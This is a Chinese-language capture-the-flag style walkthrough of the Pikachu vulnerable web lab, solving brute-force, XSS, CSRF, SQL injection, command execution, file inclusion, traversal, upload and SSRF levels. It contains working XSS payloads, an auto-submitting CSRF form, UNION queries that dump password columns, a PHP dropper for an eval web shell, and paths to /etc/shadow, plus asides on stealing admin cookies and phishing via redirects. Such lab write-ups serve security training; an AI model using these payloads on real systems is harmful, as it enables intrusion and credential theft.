Pikachu 漏洞平台通关记录
Pikachu 是一个带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞。 如果你是一个Web渗透测试学习人员且正发愁没有合适的靶场进行练习,那么Pikachu可能正合你意。
暴力破解
基于表单
burp
抓包使用 Clusterbomb
类型爆破
验证码绕过(on server)
抓包请求后发现 只要页面不刷新 验证码就不会改变 爆破方法同上
验证码绕过(on client)
验证码是 js
前端校验 直接抓包 无视 js
token绕过
攻击类型选择:音叉
打开Intruder->Options设置如下参数
请求线程数选择:1
重定向选择:总是
在 Payloads
里面选择 递归搜索
Cross-Site Scripting
反射性xss(get)
发现有 20
个字符限制,直接改为 100
即可
题目是 get
看了下 url
发现提交的参数在 url
后面直接在 url
后面补全也行。
反射性xss(post)
这题对着框搞了半天 看了下提示才知道需要先登录,账号密码还是 admin
/ 123456
登录后直接输入payload:<script>alert(1)</script>
存储型xss
payload:<script>alert(1)</script>
存储型主要是 你提交的代码会存到数据库中,有用户访问这个页面就会从数据库提取出 xss数据
所以会弹框
可以搭配一些 xss在线平台
找一些有存储型xss漏洞的网站钓管理员 cookies
DOM型xss
提交 payload
后出现一个 what do you see?
点击后 403
f12
可以看到我们提交的数据变成了超链接
看下 js
代码
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
</script>
直接闭合使用 onclick
弹出
' onclick="alert(1)">
'><img src='' onerror=alert("1")>
DOM型xss-x
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
</script>
这题加了个正则替换把 空格
替换成了 +
号,payload
同上
' onclick="alert(1)">
'><img src='' onerror=alert("1")>
xss盲打
盲打就是在一切能插入的地方插入 xss
代码
看了下提示 需要登录后台,xss
插入成功
payload:<script>alert(1)</script>
xss过滤
输入 <script>alert(1)</script>
输入 alert(1)
输入 123
返回 了别说这些'123'的话,不要怕,就是干!
应该是过滤了 <script>*</scipt
大小写混写直接绕过
试了下其他方法也绕过了 更加确信过滤了 <script>*</scipt
<scriPt>alert(1) </scriPt>
<img src=x onerror=alert("1")>
xss之htmlspecialchars
htmlspecialchars
:将 特殊字符
转换为 HTML 实体
字符 | 替换后 |
---|---|
&(& 符号) | & |
“(双引号) | “,除非设置了ENT_NOQUOTES** |
‘(单引号) | 设置了ENT_QUOTES后,(如果是ENT_HTML401) ,或者’(如果是ENT_XML1、ENT_XHTML或ENT_HTML5**)。 |
<(小于) | < |
>(大于) | > |
htmlspecialchars
默认不对 单引号
继续进行转换
' onclick='alert(1)'>
xss之href输出
javascript: alert(1);
// 这段代码前端开发还是挺常用的 javascript:;
xss之js输出
找到了这段 js
直接闭合
'; alert(1);//
CSRF
CSRF(get)
点击提示给了一些账号密码,随便登录一个(我登录的 vince
)点击修改信息,看看请求信息。
我们发现是 get
请求 提交了些参数 构造一下发给其他人
csrf_get_edit.php?sex=boy&phonenum=12345678910&add=chain&email=hacker%40pikachu.com&submit=submit
方便区分 我用 无痕模式
登录 allen
用户
然后访问我们构造的链接,可以看到信息变了
现实中可以 用图片或者超链接来诱骗点击。
CSRF(post)
和上一关一样 只不过 get
变成了 post
sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit
我们构造一下
sex=boy&phonenum=11111111111&add=攻击成功&email=vince%40pikachu.com&submit=submit
写个 html
自动提交的表单 实际中还可以提交完自动跳转,降低受害者警觉
<script>
setTimeout(function() {
document.getElementById("submit").click();
}, 1000);//延迟1秒
</script>
<form action="http://pikachu.la/vul/csrf/csrfpost/csrf_post_edit.php" method="post">
<p class="per_name">姓名:allen</p>
<p class="per_sex">性别:<input type="text" name="sex" value="boy"></p>
<p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="2222222222"></p>
<p class="per_add">住址:<input class="add" type="text" name="add" value="攻击成功"></p>
<p class="per_email">邮箱:<input class="email" type="text" name="email" value="vince@pikachu.com"></p>
<input class="sub" type="submit" name="submit" id="submit" value="submit">
</form>
CSRF Token
修改信息新加了 动态Token
有个骚操作 但是存在 跨域问题
所以做不出
Sql Inject
数字型注入(post)
直接 burp
抓包用 重发器
查字段:1 order by 2
查字段:1 order by 3 #报错,所以只有两个字段
查当前库名:-1 union select 1,database()
查所有库名:-1 union select 1,group_concat(schema_name) from information_schema.schemata
查表名:-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
查字段:-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
查值:-1 union select 1,group_concat(password) from pikachu.users
字符型注入
查字段:1' order by 2 #
查当前库名:-1' union select 1,database() #
查所有库名:-1' union select 1,group_concat(schema_name) from information_schema.schemata #
查表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:-1' union select 1,group_concat(password) from pikachu.users #
搜索型注入
查字段:a%' order by 3 #
查当前库名:a%' union select 1,2,database() #
查所有库名:a%' union select 1,2,group_concat(schema_name) from information_schema.schemata #
查表名:a%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:a%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:a%' union select 1,2,group_concat(password) from pikachu.users #
xx型注入
查字段:1') order by 2 #
查当前库名:1') union select 1,database() #
查所有库名:1') union select 1,group_concat(schema_name) from information_schema.schemata #
查表名:1') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
查字段:1') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
查值:1') union select 1,group_concat(password) from pikachu.users #
RCE
exec “ping”
命令拼接符
windows | |
---|---|
| | 管道符,前面命令标准输出,后面命令的标准输入 |
& | A & B 先运行命令A然后运行命令B |
|| | A || B 运行命令A,如果失败则运行命令B |
&& | A && B 运行命令A,如果成功则运行命令B |
linux | |
---|---|
| | 管道符,前面命令标准输出,后面命令的标准输入 |
& | A & B 先运行命令A然后运行命令B |
|| | A || B 运行命令A,如果失败则运行命令B |
&& | A && B 运行命令A,如果成功则运行命令B |
; | A;B 执行完A执行B |
%0a | 换行符 |
%0d | 回车符 |
可以直接用 cmd
新建用户之类的
exec “evel”
PHP命令执行函数
system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_popen()等
File Inclusion
File Inclusion(local)
if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";
}
isset
检测变量是否存在,然后同时 filename
不为空,GET
后直接包含进了 include
。
直接修改 filename
参数即可
File Inclusion(remote)
PHP的配置选项 allow_url_include
为 ON
的话,则 include
/ require
函数可以 加载远程文件
这个远程文件包含和上面的本地文件包含代码一样,同样没做安全限制
在txt
写段代码,然后使用远程包含漏洞
可以自动创建一句话php
文件
<?php
$shell = "<?php @eval(@\$_POST['cmd']); ?>";
file_put_contents('./shell.php',$shell);
?>
请求之后发现页面没报错 同时目录下新建了个 shell.php
,同时一句话也写入了
Unsafe Filedownload
Unsafe Filedownload
可以构造一下下载的文件通过 ../../
控制目录,例如:
http://pikachu.la/vul/unsafedownload/execdownload.php?filename=../../../README.md
如果是 linux
的话还可以下载 /etc/passwd
和 /etc/shadow
Unsafe Fileupload
之前做过upload-labs
:https://5ime.cn/upload-labs.html
client check
上传了一个 php
文件 弹窗警告 感觉应该是 js前端校验
禁用 js
会后上传成功
MIME type
上传 php
出现提示文字
直接 burp
抓包修改 content-Type
绕过
getimagesize
这关直接参考我之前的文章
生成图片马:https://5ime.cn/upload-labs.html#%E7%AC%AC14%E5%85%B3
getimagesize
绕过参考我以前的文章:https://5ime.cn/upload-labs.html#%E7%AC%AC15%E5%85%B3
Over Permission
水平越权
A用户和B用户属于同一级别用户,但各自不能操作对方个人信息。A用户如果越权操作B用户个人信息的情况称为水平越权操作。
修改 username
的参数值 即可查看其他用户的信息
垂直越权
A用户权限高于B用户,B用户越权操作A用户的权限的情况称为垂直越权。
我们浏览器登录 admin
用户 复制添加用户的 url
地址 使用无痕窗口登录普通用户 pikachu
,访问刚才复制的添加用户的 url
地址。此时普通用户也可以正常访问(未授权访问) 点击创建后跳转到了登录页面
此时我们用 admin
查看用户列表 发现刚才我们使用 pikachu
新建的用户增加成功了。
../../
目录遍历
如果是 linux
还可以遍历 /etc/shadow
和 /etc/passwd
敏感信息泄露
IcanseeyourABC
直接在 注释
找到了 账号密码
URL重定向
不安全的URL跳转
f12
看到 第三个
有个 参数
我们直接构造
http://pikachu.la/vul/urlredirect/urlredirect.php?url=https://www.baidu.com&fileGuid=PrrVr3dprrQvVT6Q
发现网页跳转到了百度
这种漏洞用来钓鱼挺不错)
SSRF
SSRF(curl)
我们直接构造
http://pikachu.la/vul/ssrf/ssrf_curl.php?url=https://www.baidu.com&fileGuid=PrrVr3dprrQvVT6Q
或者用 file协议
或者 端口
SSRF(file_get_content)
同上